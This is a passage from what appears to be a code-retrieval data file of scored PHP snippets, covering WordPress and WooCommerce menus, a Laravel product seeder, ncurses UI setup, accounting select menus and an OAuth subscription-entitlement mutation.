wc_accepted_payment_methods(); ?>\n\t\t\t<?php } ?>\n\t\t</div><!-- .site-info -->\n\t\t<?php\n\t}", "title": "" }, { "docid": "73f7bb6fec81509026e1205d167abea7", "score": "0.4426518", "text": "function run()\r\n {\r\n $this->ab = $this->get_action_bar();\r\n $menu = new ReservationsMenu($_GET[ReservationsManager :: PARAM_CATEGORY_ID], '?application=reservations&go=admin_category_browser&category_id=%s');\r\n\r\n $this->display_header($trail);\r\n echo $this->ab->as_html() . '<br />';\r\n echo '<div style=\"float: left; overflow: auto; width: 18%;\">' . $menu->render_as_tree() . '</div>';\r\n echo $this->get_user_html();\r\n $this->display_footer();\r\n }", "title": "" }, { "docid": "a55a0c40e8e8b4ae3c55aba770f97352", "score": "0.4421689", "text": "public function bp_account_tab_action() {\n\t\techo $this->get_instance( \\MyVideoRoomExtrasParking\\Library\\SectionTemplates::class )->account_control_centre_alternate_dashboard();\n\t}", "title": "" }, { "docid": "7f783730370cb99c0527eafcf7836cff", "score": "0.44162208", "text": "function default_action(){\n //Show message about game context\n echo \"<div style='text-align:center'>\";\n echo nl2br(\"\\n\");\n echo nl2br (\"You woke up in a cave. You have no memory of what happened. You need to escape by getting to the final room!\\n\");\n echo nl2br (\"\\n\");\n //space where exits will be displayed and updated\n echo \"<p>\";\n echo \"<span id='exits'></span> \";\n echo \"</p>\";\n ?>\n <!--space where the inventory will be displayed and updated-->\n <div style='text-align:center'>\n <p>You have: <span id='inventory'></span></p>\n </div>\n <?php\n //space where objects in the room will be displayed and updated\n echo \"<p>\";\n echo \"<span id='env_stuff'></span> \";\n echo \"</p>\";\n\n echo \"<a href=\\\"./game.php?action=logout\\\">\";\n echo nl2br(\"\\n\");\n echo \"Logout.\";\n echo \"</a>\";\n echo \"</div>\";\n}", "title": "" }, { "docid": "00acd15ddd4783e2764a3088f073c5aa", "score": "0.44157764", "text": "public function deposit()\n {\n UserModel::authentication();\n\n //get the session user\n $user = UserModel::user();\n\n //initiate the wallets; going to find a better way to do it\n $deposit = PaymentModel::depositcoin();\n\n //$btcdeposit = $this->model->btcwallet($user->username,'');\n\n $this->View->Render('dashboard/deposit', ['deposit' => $deposit, 'user' => $user]);\n }", "title": "" }, { "docid": "c695f07fb55d5ccae2320f2fbf93d188", "score": "0.44076064", "text": "function silvercare_admin_bar_render() {\n\tglobal $wp_admin_bar, $woocommerce;\n\t\n\n\n\n\tif ( ! is_admin() ) {\n\t$wp_admin_bar->add_menu( array(\n\t\t'parent' => 'top-secondary', // use 'false' for a root menu, or pass the ID of the parent menu\n\t\t'id' => 'cart', // link ID, defaults to a sanitized title value\n\t\t'title' => __('Cart', 'woocommerce'), // link title\n\t\t'href' => wc_get_checkout_url(), // name of file\n\t\t'meta' => false // array of any of the following options: array( 'html' => '', 'class' => '', 'onclick' => '', target => '', title => '' );\n\t));\n\t\n}}", "title": "" }, { "docid": "ff940f97f47497ceeb95589e70462805", "score": "0.4406369", "text": "public function view(\\Symfony\\Component\\Console\\Output\\OutputInterface $output)\n {\n //output\n $fg = ($this->getSuit() === Card::SUIT_HEARTS || $this->getSuit() === Card::SUIT_DIAMONDS) ?\n 'red':'black';\n $output->write(\" <fg=$fg;bg=white;options=underscore>\".$this->getValueAsString().\" \"\n . \"of \".$this->getSuitAsString().\"</> \");\n \n return $output;\n }", "title": "" }, { "docid": "60608a9b1236363ccd191787cb5c965c", "score": "0.44008878", "text": "function dumpContents()\r\n {\r\n\r\n $draggable = ($this->_draggable) ? \"draggable=\\\"true\\\"\" : \"\";\r\n\r\n\r\n echo \"<canvas id=\\\"$this->_name\\\" $draggable width=\\\"\" . $this->Width . \"\\\" height=\\\"\" . $this->Height . \"\\\">\";\r\n\r\n //If your browser does not support canvas show the user a message\r\n echo $this->_notsupportedmessage;\r\n\r\n echo \"</canvas>\\n\";\r\n\r\n }", "title": "" }, { "docid": "854160dc52dd8b670358e90be2d73d6c", "score": "0.439963", "text": "public function run()\n {\n $aantal_producten = 11;\n $beschrijving_pd1 = \"Met de Poly Voyager Focus B825-M Bluetooth Office Headset met Basisstation ga je altijd en overal het gesprek aan. Je koppelt deze headset namelijk via bluetooth aan je smartphone, pc, laptop en bluetooth deskphone. Of je nou in de trein zit of aan je bureau werkt, de accu van deze Poly headset gaat tot 12 uur mee.\";\n $beschrijving_pd2 = \"RSI klachten in de toekomst voorkom je door een juiste zithouding. De positie van je benen en voeten is hierin ook van belang. Met de Fellowes Voetensteun zorg je ervoor dat je benen in de juiste houding komen te staan, wanneer je plaats neemt achter je bureau.\";\n $beschrijving_pd3 = \"Als jij je laptop of pc wilt uitbreiden met 4 USB A poorten, is deze hub precies wat je nodig hebt. Dit model beschikt over USB 3.0 poorten die een snelle dataoverdracht garanderen. \";\n $beschrijving_pd4 = \"Met de zwarte HP 953 (L0S58AE) inktcartridge produceert uw printer afdrukken van hoge kwaliteit. De inkt droogt snel, waardoor geen vlekken ontstaan en tekst geschikt is voor het gebruik van markeerstiften.\";\n $beschrijving_pd5 = \"Met de HP Cartridge 301 in huis weet je zeker dat je op belangrijke momenten nooit in de steek wordt gelaten. De documenten die uit je printer rollen zijn namelijk keer op keer voorzien met letters van laserkwaliteit.\";\n $beschrijving_pd6 = \"De HP OfficeJet 6950 e-all-in-One is een uitgebreide kleuren inkjet printer voor kantoren. Voer meerdere taken uit zoals scannen, kopiëren en printen op een hoge printresolutie van 4.800 bij 1.200 dpi. Bovendien verstuur je via wifi een printopdracht vanaf je telefoon of tablet.\";\n $beschrijving_pd7 = \"De HP EliteDisplay E243i is een 24 inch monitor waarmee je een ergonomische werkplek creëert op kantoor of thuis. Deze monitor is namelijk kantelbaar, roteerbaar en in hoogte verstelbaar. Zo pas je hem volledig aan jouw werkhouding aan en verminder de kans op klachten aan je nek en schouders.\";\n $beschrijving_pd8 = \"De Logitech MX Master 3 is de opvolger van de succesvolle MX Master 2S. Het MagSpeed scrollwiel is nu nog sneller en stiller dan eerder. Zo scroll je weer in no-time door al je Excelregels heen. Ook is Logitech Flow weer terug, dus gebruik de muis op meerdere apparaten op hetzelfde moment en wissel tussen deze apparaten met een druk op de knop.\";\n $beschrijving_pd9 = \"Met de HP Draadloze Muis 200 Zwart is dankzij zijn vorm grootte comfortabel in gebruik en ontlast hierdoor de pols. Doordat de muis draadloos is, zit je niet in de knoop met draden die op je bureau liggen. En dankzij de draadloze connectiviteit van 2,4 Ghz heb je een bereik tot 10 meter en een hoek van 360 graden.\";\n $beschrijving_pd10 = \"De toetsenbordindeling van dit toetsenbord is QWERTY en de taalindeling is US International.\";\n $beschrijving_pd11 = \"Plaats gemakkelijk je monitoren en andere werkspullen op het werkblad. Je verbetert de productiviteit als je zittend en staand werken afwisselt. Deze afwisseling is ook goed voor de ergonomie. Hiermee verminder je de kans op lichamelijke klachten.\";\n $category_array=[\"Communicatie\",\"Ergonomie\",\"Kabels\", \"Print apparatuur\", \"Print apparatuur\", \"Print apparatuur\", \"Rand apparatuur\",\"Rand apparatuur\",\"Rand apparatuur\",\"Rand apparatuur\",\"Ergonomie\"];\n $description_array=[$beschrijving_pd1,$beschrijving_pd2,$beschrijving_pd3,$beschrijving_pd4,$beschrijving_pd5,$beschrijving_pd6,$beschrijving_pd7,$beschrijving_pd8,$beschrijving_pd9,$beschrijving_pd10,$beschrijving_pd11];\n $name_array=[\"Headset\",\"Voetensteun\",\"USB\",\"Cartridge\",\"Cartridge\",\"Printer\",\"Beeldscherm\",\"Muis\",\"Muis\",\"Toetsenbord\",\"Bureau\"];\n $brand_array=[\"Poly\",\"Fellowes\",\"X\",\"HP\",\"HP\",\"HP\",\"HP\",\"Logitech\",\"HP\",\"HP\",\"Bureau\"];\n $model_array=[\"B825-m\",\"159719\",\"USB-A to USB-C 2.0 BLACK\",\"953XL \",\"301XL\",\"Officejet 6950\",\"Elitedisplay 24\",\"MX Master 3\",\"200\",\"450\",\"Groot\"];\n $price_array=[\"216\",\"41\",\"5.99\",\"24.99\",\"24.99\",\"99.99\",\"129.99\",\"89.99\",\"22.99\",\"24.99\",\"400\"];\n $max_orders_array=[\"1\",\"1\",\"1\",\"10\",\"10\",\"1\",\"1\",\"1\",\"1\",\"1\",\"1\"];\n $condition_array=[\"none\",\"per persoon, goedkeuring nodig van manager\",\"none\",\"per jaar\",\"per year\",\"none\",\"per jaar, geen goedkeuring nodig\",\"none\",\"per jaar\",\"per jaar\",\"none\"];\n $approval_array=[true, true, false, false, false, true, false, true, false, false, true];\n $image_array=[\"/img/headset.jpg\",\"/img/voetensteun.jpg\",\"/img/usb.jpg\",\"/img/cartridge301xl.jpg\",\"/img/cartridge953xl.jpg\",\"/img/printer.jpg\",\"/img/beeldscherm.jpg\",\"/img/muislogitech.jpg\",\"/img/muishp.jpg\",\"/img/toetsenbord.jpg\",\"/img/bureau.jpg\",];\n for($i = 0; $i < $aantal_producten; $i++){\n DB::table('products')->insert([\n 'category'=> $category_array[$i],\n 'productname'=> $name_array[$i],\n 'description'=> $description_array[$i],\n 'brand'=> $brand_array[$i],\n 'model'=> $model_array[$i],\n 'price'=> $price_array[$i],\n 'maxorders'=> $max_orders_array[$i],\n 'condition'=> $condition_array[$i],\n 'approval'=> $approval_array[$i],\n 'image' => $image_array[$i],\n ]);\n\n }\n\n\n\n //\n }", "title": "" }, { "docid": "029044d8a0eea30558adfac82cfe8761", "score": "0.4399571", "text": "public function shells()\n {\n $this->_display('shells');\n }", "title": "" }, { "docid": "88e06ab402cc691072db88b675a07156", "score": "0.43992484", "text": "public function menuAction()\n\t{\n\t\t$startDate = Date::getFirstDayOfCurrentMonth();\n\t\t$endDate = Date::getLastDayOfCurrentMonth();\n\t\t\n\t\t$balance = new Balance($startDate, $endDate);\n\t\t\n\t\tView::renderTemplate('Profile/menu.html', [\n\t\t\t'balance' => $balance,\n\t\t]);\n\n\t\t$_SESSION['expenses'] = $balance->expenses;\n\t}", "title": "" }, { "docid": "c56d825cae30068bae4bc6447abdccde", "score": "0.43952122", "text": "function echoHand($hand, $name, $hidden = false) \n{\n // todo\n\tfwrite(STDIN, PHP_EOL . \"Hand for {$name}: \");\n\t\n\tif($hidden == FALSE)\n\t{\n\t\tforeach($hand as $card)\n\t\t{\n\t\t\tfwrite(STDIN, '[' . $card[0] . ' ' . $card[1] . '] ');\n\t\t}\n\t\tfwrite(STDIN, 'Total: ' . getHandTotal($hand));\n\t}\n\telse\n\t{\n\t\tfwrite(STDIN, '[' . $hand[0][0] . ' ' . $hand[0][1] . '] [???] Total: ???');\n\t}\n}", "title": "" }, { "docid": "efeaa60e6570d89512b6e0a70ecb5f80", "score": "0.43941325", "text": "protected function getOpening()\n\t{\n\t\treturn \"<div style='padding-bottom:5px;'>\";\n\t}", "title": "" }, { "docid": "e2e10bb23517151b8e7e8d551731ca2b", "score": "0.43927363", "text": "public static function menu() {\n\n\t\tif ( ! current_user_can( 'manage_options' ) ) {\n\t\t\treturn;\n\t\t}\n\n\t\tadd_menu_page(\n\t\t\t'CartFlows',\n\t\t\t'CartFlows',\n\t\t\t'manage_options',\n\t\t\tCARTFLOWS_SLUG,\n\t\t\t__CLASS__ . '::render',\n\t\t\t'data:image/svg+xml;base64,' . base64_encode( file_get_contents( CARTFLOWS_DIR . 'assets/images/cartflows-icon.svg' ) ),//phpcs:ignore\n\t\t\t39.7\n\t\t);\n\n\t}", "title": "" }, { "docid": "4ed890652230a61d33ed40f9b682b7e3", "score": "0.43915638", "text": "public function Dibujar() {\n\t\t\t$l1 = $this->_ladoUno;\n\t\t\t$l2 = $this->_ladoDos;\n\n\t\t\t/* Color */\n\t\t\techo \"Color: \". $this->_color . \"<br />\";\n\n\t\t\t/* Dibujo el objeto */\n\t\t\tfor ($i=0; $i < $l2; $i++) { \n\t\t\t\tfor ($c=0; $c < $l1; $c++) { \n\t\t\t\t\techo \"* \"; \n\t\t\t\t}\n\t\t\t\techo \"<br>\";\n\t\t\t}\n\t\t\t\n\t\t}", "title": "" }, { "docid": "03b11481865683517053a1ac3c2c0990", "score": "0.43907905", "text": "function ncurses_reset_prog_mode()\n{\n}", "title": "" }, { "docid": "1aff8c9d4b64cd3532b38aa852b7f120", "score": "0.4388397", "text": "function printCashFlow($reportType, $reportMonth, $reportYear){\n $inflows = new CashFlowCategory(\"1\", $reportType, $reportMonth, $reportYear);\n $outflows = new CashFlowCategory(\"2\", $reportType, $reportMonth, $reportYear);\n\n $strToReturn = \"<DIV id=\\\"cash-flow-report\\\">\";\n $strToReturn = $strToReturn . \"CASH FLOW:<BR>\";\n\n $strToReturn = $strToReturn . recursivePrintCashFlow($inflows);\n $strToReturn = $strToReturn . recursivePrintCashFlow($outflows);\n\n //NET CASH FLOW\n $netCashFlow = $inflows->getTotal() - $outflows->getTotal();\n $strToReturn = $strToReturn . \"<DIV class=\\\"cf-super-node\\\">\";\n $strToReturn = $strToReturn . \"<DIV class=\\\"category-name\\\"> NET CASH FLOW: </DIV>\";\n $strToReturn = $strToReturn . \"<DIV class=\\\"category-total\\\">\";\n $strToReturn = $strToReturn . \"<LABEL class=\\\"currency-symbol\\\">\" . $_SESSION['currencySymbol'] . \" </LABEL>\";\n $strToReturn = $strToReturn . \"<LABEL class=\\\"report-amount\\\">\" . $netCashFlow . \"</LABEL>\";\n $strToReturn = $strToReturn . \"</DIV></DIV>\";\n\n $strToReturn = $strToReturn . \"</DIV>\";\n return $strToReturn;\n}", "title": "" }, { "docid": "94d1796faec119277cf2d0cf28261462", "score": "0.43876737", "text": "function kahawa_display_custom_header_cart() {\n if (storefront_is_woocommerce_activated()){ ?>\n<ul id=\"kahawa-header-cart\" class=\"kahawa-header-cart menu\">\n <li class=\"<?php echo esc_attr( $class ); ?> kahawa-cart-link\">\n <a href=\"<?php echo wc_get_cart_url(); ?>\"><i class=\"fa fa-coffee\" title=\"Mój koszyk\"></i><span><?php echo WC()->cart->get_cart_contents_count();?></span></a>\n\n </li>\n <li><?php if ( is_user_logged_in() ) { ?>\n <a href=\"<?php echo get_permalink( get_option('woocommerce_myaccount_page_id') ); ?>\" title=\"Moje konto\"><i class=\"fa fa-user\"></i></a>\n <?php } else { ?>\n <a href=\"<?php echo get_permalink( get_option('woocommerce_myaccount_page_id') ); ?>\" title=\"Logowanie/Rejestracja\"><i class=\"fa fa-user\"></i></a>\n <?php } ?>\n </li>\n <li>\n <a href=\"<?php echo WC()->cart->get_checkout_url(); ?>\" title=\"Zamówienie\"><i class=\"fa fa-shopping-basket\"></i></a>\n </li>\n</ul><?php \n }\n }", "title": "" }, { "docid": "679cdd0ee16ca0572f325eb2f2c53b5a", "score": "0.43855572", "text": "protected function generateMenu() {}", "title": "" }, { "docid": "679cdd0ee16ca0572f325eb2f2c53b5a", "score": "0.43855572", "text": "protected function generateMenu() {}", "title": "" }, { "docid": "679cdd0ee16ca0572f325eb2f2c53b5a", "score": "0.43855572", "text": "protected function generateMenu() {}", "title": "" }, { "docid": "679cdd0ee16ca0572f325eb2f2c53b5a", "score": "0.43855572", "text": "protected function generateMenu() {}", "title": "" }, { "docid": "679cdd0ee16ca0572f325eb2f2c53b5a", "score": "0.43855572", "text": "protected function generateMenu() {}", "title": "" }, { "docid": "679cdd0ee16ca0572f325eb2f2c53b5a", "score": "0.43855572", "text": "protected function generateMenu() {}", "title": "" }, { "docid": "d9380ed1817b5b7dbd41b35f7078779a", "score": "0.43845037", "text": "private function printHelp() {\n\t\t$this->info(\"FizzBuzz Client Help\");\n\t\t$this->line(\"Select the oprations you desire to execute by introducing the action number in brakets on the menu.\");\n\t\t$this->info(\"Navigation\");\n\t\t$this->line(\"Yo can navigate the pagination by using Go to page [3] command and introducing page number, if page number is invalid the app will default back to page 1\");\n\t\t$this->info(\"Favorites\");\n\t\t$this->line(\"You can add or remove to favories by using option [5] and indicating the ID of the item you desire to save or remove.\");\n\t\t$this->line(\"If the item is not already added into the favorites will be added however if the item is alredy on the favorite list will be removed.\");\n\t\t$this->info(\"Pagination\");\n\t\t$this->line(\"You can specified the size of list to display by using option [2]. If the size is negative or out of bounds (100,000,000,000) will default to 100 which is the default value.\");\n\t\t$this->printMenu();\n\t}", "title": "" }, { "docid": "0d28882db7d630e5684f34401e584821", "score": "0.43830654", "text": "function accountswitcher_usercpmenu()\n{\n\tglobal $db, $mybb, $lang, $templates, $theme, $usercpmenu;\n\n\t// Show the button if the user can use the Enhanced Account Switcher or the user is attached to an account\n\tif ($mybb->usergroup['as_canswitch'] == 1 || $mybb->user['as_uid'] != 0)\n\t{\n\t\t$lang->load(\"accountswitcher\");\n\n\t\t$usercpmenu .= eval($templates->render('accountswitcher_usercp_nav'));\n\t}\n}", "title": "" }, { "docid": "61c275ef62343cb7ee7119ac2f30ccc6", "score": "0.43802556", "text": "function tools_menu() {\n\t\t\n\t\t$con =& MDB2::connect(unserialize(DSN), $dsn_options);\n\t\tif (PEAR::isError($con)) {\n\t\t \tdie($con->getMessage());\n\t\t}\n\t\telse { \n\t\t\t$check_access = $con->queryRow(\"SELECT customer_id,fd_group FROM users WHERE customer_id='\". $_SESSION['username'] .\"'\"); \n\t\t}\n\t\t\n\t\tif ($check_access[1] == \"admin\") { // show additional options only available to admins\n\t\t\t$admin_text = '<div dojoType=\"TreeNode\" title=\"Create / Edit Users and Groups\" object=\"list_users.php\"> </div>\n \t\t\t<div dojoType=\"TreeNode\" title=\"Edit Configuration\" object=\"/config\"> </div>\n \t\t\t';\n\t\t}\t\t\n\t\t\n \t\treturn '<div dojoType=\"TreeNode\" title=\"Create / Edit Windows install images\" object=\"list_images.php\"> </div>' . $admin_text .''; \n \t}", "title": "" }, { "docid": "f14dc2d59566ff8d64ef23462637bf74", "score": "0.4379765", "text": "public abstract function getNextMenu();", "title": "" }, { "docid": "4d81e19219bcc26f6c8ce1f75d5bffcd", "score": "0.43789694", "text": "public function run(): void\n {\n $this->climate->info(\n $this->memory->getFree()->getB()\n );\n }", "title": "" }, { "docid": "7e3f0256c7d8e753e92faf490751c1e2", "score": "0.43754587", "text": "function printMenuLink() {\r\n\tprint '<br><br><a href=\"/menu/menu.php\">Back to Menu</a>';\r\n}", "title": "" }, { "docid": "a8b34af3f64e708a0576aa63df3bf6e4", "score": "0.43691906", "text": "private function writeScreen() {\n\techo $this->propertiesToText() . \"\\n\";\n\t}", "title": "" }, { "docid": "fe1e58a41eada35870d82f1a1c7eab12", "score": "0.43674287", "text": "private function init() {\n\t\t\t// Get Sizes\n\t\t\t$top = $right = $bottom = $left = 0;\n\t\t\tncurses_getmaxyx(STDSCR, $bottom, $right);\n\n\t\t\t$this->lastBottom = $bottom;\n\t\t\t$this->lastRight = $right;\n\n\t\t\t// Panel Layouts\n\t\t\t$traceWidth = min($right/2, 55);\n\t\t\t$traceHeight = $bottom;\n\n\t\t\t$debugWidth = $right - $traceWidth;\n\t\t\t$debugHeight = 8;\n\n\t\t\t$inputWidth = $debugWidth;\n\t\t\t$inputHeight = 3;\n\n\t\t\t$outputWidth = $debugWidth;\n\t\t\t$outputHeight = $bottom - $debugHeight - $inputHeight;\n\n\t\t\t$this->panels['trace'] = ncurses_newwin($traceHeight, $traceWidth, $top, $right - $traceWidth);\n\t\t\tncurses_wborder($this->panels['trace'], 0, 0, 0, 0, 0, 0, 0, 0);\n\t\t\tncurses_mvwaddstr($this->panels['trace'], 0, 2, \"[ Logging ]\");\n\t\t\tncurses_wmove($this->panels['trace'], 2, 2);\n\n\t\t\t$this->panels['debug'] = ncurses_newwin($debugHeight, $debugWidth, $bottom - $debugHeight, $left);\n\n\t\t\t$this->panels['input'] = ncurses_newwin($inputHeight, $inputWidth, $bottom - $debugHeight - $inputHeight, $left);\n\n\t\t\t$this->panels['output'] = ncurses_newwin($outputHeight, $outputWidth, $top, $left);\n\t\t\tncurses_wborder($this->panels['output'], 0, 0, 0, 0, 0, 0, 0, 0);\n\t\t\tncurses_mvwaddstr($this->panels['output'], 0, 2, \"[ Output ]\");\n\t\t\tncurses_wmove($this->panels['output'], 2, 2);\n\n\t\t\tncurses_curs_set(0);\n\t\t\tncurses_cbreak();\n\t\t\tncurses_noecho();\n\t\t\t$this->redrawAll();\n\t\t}", "title": "" }, { "docid": "40b92d419cd685e59dbe84e10adf8c0d", "score": "0.43625998", "text": "function accountplan_number_menu($args) {\n //print_r($args);\n global $_lib;\n $name = $this->MakeName($args);\n\n\t\t$colorH = array(\n\t\t\t'balance' => '#0FF000',\n\t\t\t'result' => '#0FFFF0',\n\t\t\t'employee' => '#CCCCCC',\n\t\t\t'supplier' => '#FFF000',\n\t\t\t'customer' => '#00FF00'\n\t\t);\n\n\t\t$where = '';\n\n\t\tif(count($args['type'])) {\n\t\t\t#print_r($args['type']);\n\t\t\tforeach($args['type'] as $tmp => $type) {\n\n\t\t\t\t#print \"type: $type<br>\\n\";\n\n\t\t\t\tif($type == 'hovedbok') {\n\t\t\t\t\t$where .= \" ((AccountPlanType='balance' or AccountPlanType='result') and EnableReskontro = 0) or \";\n\t\t\t\t} elseif($type == 'hovedbokwreskontro') {\n\t\t\t\t\t$where .= \" ((AccountPlanType='balance' or AccountPlanType='result') and EnableReskontro = 1) or \";\n\t\t\t\t} elseif($type == 'hovedbokwemployee') {\n\t\t\t\t\t$where .= \" ((AccountPlanType='balance' or AccountPlanType='result' or AccountPlanType='employee') and EnableReskontro = 0) or \";\n\t\t\t\t} elseif($type == 'reskontro') {\n\t\t\t\t\t$where .= \" (AccountPlanType != 'balance' and AccountPlanType != 'result') or \";\n\t\t\t\t} elseif($type) {\n\t\t\t\t\t$where .= \" AccountPlanType='$type' or \";\n\t\t\t\t} else {\n\t\t\t\t\tprint \"No type argument supplied to accountplan_number_menu\";\n\t\t\t\t}\n\t\t\t}\n\n\t\t\t$where = substr($where, 0, -4); #remove the last or\n\t\t} else {\n\t\t\tprint \"No type argument supplied to accountplan_number_menu\";\n\t\t}\n\n $query = \"select AccountPlanID, AccountName, AccountPlanType, Active from accountplan where ($where) order by AccountPlanID\";\n #print \"$query<br>\";\n $result = $_lib['db']->db_query($query);\n\n if(!$args['num_letters'])\n {\n $num_letters = '30';\n }\n else\n {\n $num_letters = $args['num_letters'];\n } //#Default number of letters in menu\n\n if($args['autosubmit'])\n {\n $element .= \" onchange=\\\"if (!sent) { sent = true; submit(); }\\\" \";\n }\n $element .= \">\\n\";\n\n\n if($args['required'] == false)\n {\n $element .= \"<option value=\\\"\\\">\" . substr('Velg konto',0, $num_letters) . \"</option>\";\n }\n\n while($_row = $_lib['db']->db_fetch_object($result))\n {\n $optioncolor = \" style=\\\"background: \" . $colorH[$_row->AccountPlanType] . \"\\\"\";\n if($_row->AccountPlanID == $args['value']) {\n\n if($_row->Active) {\n $element .= \" <option style=\\\"background: #CCCCCC\\\" value=\\\"$_row->AccountPlanID\\\" selected>\" . substr(\"$_row->AccountPlanID-$_row->AccountName\",0,$num_letters) . \" (\" . substr($_row->AccountPlanType,0,1) . \")</option>\\n\";\n }\n else {\n $element .= \" <option style=\\\"background: #CCCCCC\\\" value=\\\"$_row->AccountPlanID\\\" selected>INAKTIV: \" . substr(\"$_row->AccountPlanID-$_row->AccountName\",0,$num_letters) . \" (\" . substr($_row->AccountPlanType,0,1) . \")</option>\\n\";\n }\n $found = true;\n $selectedcolor = $optioncolor;\n }\n else if($_row->Active) {\n $element .= \" <option $optioncolor value=\\\"$_row->AccountPlanID\\\">\" . substr(\"$_row->AccountPlanID-$_row->AccountName\",0,$num_letters) . \" (\" . substr($_row->AccountPlanType,0,1) . \")</option>\\n\";\n }\n }\n\n $query = \"select AccountPlanID, AccountName, AccountPlanType from accountplan where Active=1 and ($where) order by AccountName\";\n $result = $_lib['db']->db_query($query);\n\n // In inovice edit do we only want the customerID and name showed, not both ways.\n if(!$args['onlyonce']){\n while($_row = $_lib['db']->db_fetch_object($result))\n {\n $optioncolor = \" style=\\\"background: \" . $colorH[$_row->AccountPlanType] . \"\\\"\";\n $element .= \"<option $optioncolor value=\\\"$_row->AccountPlanID\\\">\" . substr(\"$_row->AccountName-$_row->AccountPlanID\",0,$num_letters) . \" (\" . substr($_row->AccountPlanType,0,1) . \")</option>\\n\";\n }\n }\n\n if(!$found && isset($args['value']) && $args['value'] > 0)\n {\n $optioncolor = \" style=\\\"background: #FF0000\\\"\";\n $element .= \"<option $optioncolor class=\\\"$_row->AccountPlanType\\\" value=\\\"\" . $args['value'] . \"\\\" selected>\" . substr(\"Konto finnes ikke: \" . $args['value'],0, $num_letters) . \"</option>\";\n $selectedcolor = $optioncolor;\n }\n elseif(!$found && isset($args['value']))\n {\n $optioncolor = \" style=\\\"background: #FFFFFF\\\"\";\n $element .= \"<option $optioncolor class=\\\"$_row->AccountPlanType\\\" value=\\\"\" . $args['value'] . \"\\\" selected>\" . substr(\"Velg konto\",0, $num_letters) . \"</option>\";\n $selectedcolor = $optioncolor;\n }\n\n $element .= \"</select>\\n\";\n\n if((isset($args['disabled']) && $args['disabled'] == true)\n || (isset($args['readonly']) && $args['readonly'] == true)) {\n $disabled = \"disabled='disabled'; style='color: black; background: grey;'\";\n }\n else\n {\n $disabled = \"\";\n }\n\n if(isset($args['onchange'])) {\n $onchange = \"onchange=\\\"\" . $args['onchange'] . \"\\\"\";\n } else {\n $onchange = \"\";\n }\n\n $element = \"<select $onchange $disabled $selectedcolor name=\\\"\".$name.\"\\\" tabindex=\\\"\".$args['tabindex'].\"\\\" accesskey=\\\"\".$args['accesskey'].\"\\\" class=\\\"\".$args['class'].\"\\\" \" . $element;\n\n #$_lib['db']->db_free_result($result);\n return $element;\n }", "title": "" } ]
c6bf714d1b2b8fd4f8f0cb1577d57e81
As an OAuth client manage the subscription entitlement for a given user
[ { "docid": "be7cc3267e8353c9a76f6bd847bfa8cb", "score": "0.6044435", "text": "public function ClientUserSubscriptionEntitlementManage(\n int $userId,\n int $subscriptionId,\n string $action,\n DateTime $expiresAt = null,\n string $clientId = null,\n string $clientSecret = null\n ): GraphQLOperationMutation\n {\n $args = [\n 'project_id' => $this->graphQLService->fetchProjectId(),\n 'client_id' => $clientId ?: $this->graphQLService->fetchOAuthClientId(),\n 'client_secret' => $clientSecret ?: $this->graphQLService->fetchOAuthClientSecret(),\n 'user_id' => $userId,\n 'subscription_id' => $subscriptionId,\n 'action' => [\n 'type' => 'enum',\n 'value' => Globals::ENTITLEMENT_ACTIONS[$action] ?? null,\n ],\n 'expires_at' => $expiresAt ? $expiresAt->format(Globals::DATETIME_ISO8601_FORMAT) : null,\n ];\n\n return $this->prepareExecution(\n Globals::OAUTH_ACCESS_AS_AGENT_USER,\n Globals::OAUTH_SCOPE_USER,\n Globals::GRAPHQL_OPERATION_TYPE_MUTATION,\n 'ClientUserSubscriptionEntitlementManage',\n $args,\n []\n );\n }", "title": "" } ]
[ { "docid": "3374cf6cf187fc42a46c93cc9626bcc6", "score": "0.6452484", "text": "public function activate_subscription( $user_id, $subscription_code );", "title": "" }, { "docid": "0a08b8b46f27a3cd93ac4d0c680a6634", "score": "0.6396635", "text": "public static function subscription( $user )\n\t{\n\t}", "title": "" }, { "docid": "d78e7821b2e23340536a3fe2dc11d514", "score": "0.6106744", "text": "function subscribe() {\n\n if ($result = \\Idno\\Core\\Webservice::post($this->subscription_endpoint, ['subscriber' => $this->subscriber, 'subscribe' => $this->subscription])) {\n if ($result['response'] >= 300) // handle poorly written endpoints, accept any 200 code\n throw new SubscriptionException(\"Subscription attempt reported code {$result['response']}\");\n }\n \n $acls = \\Idno\\Entities\\AccessGroup::getOne([\n 'owner' => \\Idno\\Core\\site()->session()->currentUserUUID(),\n 'access_group_type' => 'subscription'\n ]);\n \n if (empty($acls)) {\n $acls = new \\Idno\\Entities\\AccessGroup();\n $acls->title = \"People I follow\";\n $acls->access_group_type = 'subscription';\n }\n \n $url = Main::getUserByProfileURL($this->subscription);\n if ($url) $url = $url->getUUID ();\n else $url = $this->subscription;\n \n $acl_array = $acls->members;\n $acl_array['read'][] = $url;\n $acls->members = $acl_array;\n \n $acls->save();\n }", "title": "" }, { "docid": "866e25a01a5232bdeb1e231da70a5e45", "score": "0.60507494", "text": "protected function subscribe(User $user)\n {\n $user->newSubscription(config('app.membership_name'), config('app.membership_plan'))\n ->create('tok_ie');\n }", "title": "" }, { "docid": "889bb78955616e09886b329afd02d85c", "score": "0.604526", "text": "function bbp_add_user_subscription($user_id = 0, $object_id = 0, $type = 'post')\n{\n}", "title": "" }, { "docid": "88da0288515ef4e21ebe9260a56e8d88", "score": "0.57591933", "text": "public function addApproval(BackendUser $backendUser): void;", "title": "" }, { "docid": "c5f073672b75240d04e28610c64e12c2", "score": "0.56987303", "text": "public function assignClient($user) {\n \n }", "title": "" }, { "docid": "4070a43925a7d1dfbe0dcb6ded8888a9", "score": "0.56967753", "text": "function grant_hub_access($user_id) {\n $user = new WP_User($user_id);\n $user->remove_role('initiative');\n $user->add_role('hub');\n\n $hub_id = get_user_meta($user_id, 'hub_admin_requested', true);\n\n //link user account to hub\n update_field('hub_user', $hub_id, 'user_' . $user_id);\n\n //delete_hub_request\n delete_user_meta((int)$user_id, 'hub_admin_requested');\n\n //fire off confirmation email to user\n custom_email_send_transactional_email(8603, $user->user_email);\n\n}", "title": "" }, { "docid": "42f43339c3d998648a7a3e05d33f3a04", "score": "0.5695626", "text": "public function actionSubscription()\n {\n $formAuthorisationResult = new FormAuthorizationResult();\n $allApi = Api::find()->all();\n if ($formAuthorisationResult->load(\\Yii::$app->request->post()) && $formAuthorisationResult->validate()) {\n if ($formAuthorisationResult->select) Authorization::pushSubscribe($formAuthorisationResult);\n }\n\n return $this->render('api-subscription', [\n 'userId' => $formAuthorisationResult->userId,\n 'allApi' => $allApi\n ]);\n }", "title": "" }, { "docid": "b5e6b96aaf04263ee0dedddc4f78e04c", "score": "0.5679903", "text": "function contentCreateSubscription($user, $type, $fields, 